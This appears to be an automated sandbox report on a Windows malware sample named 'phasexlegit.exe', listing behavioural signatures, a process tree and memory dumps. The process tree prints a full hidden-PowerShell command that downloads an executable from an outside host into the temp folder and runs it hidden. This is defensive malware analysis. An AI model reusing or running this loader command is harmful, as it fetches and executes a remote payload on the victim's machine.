Analysis

  • max time kernel
    148s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/08/2026, 05:38

General

  • Target
    phasexlegit.exe
  • Size 723KB
  • Sample260815-gb5adazdnd
  • SHA256 66d182877d1c72d47c2dc1f68849b13cbaa906b597c17245e2f2d2943b2c80c2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\phasexlegit.exe
    "C:\Users\Admin\AppData\Local\Temp\phasexlegit.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3452
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK555685.exe; Start-Process -FilePath $env:TEMP\BK555685.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4264
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK555685.exe; Start-Process -FilePath $env:TEMP\BK555685.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2524
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK555685.exe; Start-Process -FilePath $env:TEMP\BK555685.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3760

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        memory/3760-2-0x00007FFE8B8FF000-0x00007FFE8B900000-memory.dmp

        memory/3760-3-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp

        memory/3760-6-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp

        memory/3760-7-0x000002C5A77E0000-0x000002C5A7802000-memory.dmp

        memory/3760-8-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp

        memory/3760-9-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp

        memory/3760-10-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp

        memory/3760-11-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp

        memory/3760-13-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp

        memory/3760-12-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp

        memory/3760-14-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp

        memory/3760-15-0x000002C5A84E0000-0x000002C5A85E8000-memory.dmp

        memory/3760-17-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp

        memory/3760-18-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp

        memory/3760-19-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp

        memory/3760-24-0x000002C5A84E0000-0x000002C5A85E8000-memory.dmp

        memory/3760-25-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp